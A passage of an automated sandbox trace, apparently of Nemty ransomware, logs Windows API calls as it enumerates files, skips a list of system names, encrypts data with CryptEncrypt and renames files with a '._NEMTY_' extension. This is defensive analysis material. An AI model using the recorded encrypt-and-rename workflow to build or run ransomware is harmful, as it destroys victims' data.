hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340318, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.460] CloseHandle (hObject=0xffffffff) returned 0 [0168.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340488 [0168.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0168.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.460] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f7f4e7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f7f4e7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x366510df, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3cc, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_blue_snow.png", cAlternateFileName="")) returned 1 [0168.460] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2=".") returned 1 [0168.460] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="..") returned 1 [0168.460] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="...") returned 1 [0168.460] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="windows") returned -1 [0168.460] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="$RECYCLE.BIN") returned 1 [0168.460] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="rsa") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="NTDETECT.COM") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="ntldr") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="MSDOS.SYS") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="IO.SYS") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="boot.ini") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="boot.ini") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="ntuser.dat") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="desktop.ini") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="CONFIG.SYS") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="RECYCLER") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="BOOTSECT.BAK") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="bootmgr") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="programdata") returned 1 [0168.461] lstrcmpiW (lpString1="undocked_blue_snow.png", lpString2="appdata") returned 1 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_snow.png", lpUsedDefaultChar=0x0) returned 22 [0168.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_snow.png", lpUsedDefaultChar=0x0) returned 22 [0168.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0168.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_snow.png", lpUsedDefaultChar=0x0) returned 22 [0168.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0168.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_blue_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_blue_snow.png", lpUsedDefaultChar=0x0) returned 22 [0168.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0168.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0168.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0168.462] Sleep (dwMilliseconds=0x5) [0168.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x180ee550, dwHighDateTime=0x1d561e8)) [0168.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x180ee550, dwHighDateTime=0x1d561e8)) [0168.462] GetLastError () returned 0x5 [0168.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.462] GetLastError () returned 0x5 [0168.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.463] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0168.463] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="92TUVj2oKmZYIeFJI2fPma8SJfxX9zPDjEzAzpebb7IGz9gL3xYhnRyLS9DEgwXI\r\nWnQhinGiSVBj37VLDkM95fDVkq93CNbPagfLJhXa16P/67g3Ft6rJLN7g3zAseLK\r\njEe1QP5kacdel5Mf0pTORKZTCceMmpIqMVy1py6QTiv2cjMBFSZciJvhO2cu6Whe\r\nomi+ulUdBjl0wkKuAXchtyZMzlzH8LhWVK/irkXI/holwdhm/WmCZcr+fpxcemH7\r\ngg5tBHh7RhDitJOucJvDE8oJ0VNqd8VYxhuNjlnXWa00bhyFDvrJshAyT4YAWFQR\r\n2aDbzbYVtG8jbB4yEUU3BQ==\r\n", pcchString=0x653e91c) returned 1 [0168.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0168.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.463] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_blue_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_blue_snow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.464] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.492] SetFilePointer (in: hFile=0xffffffff, 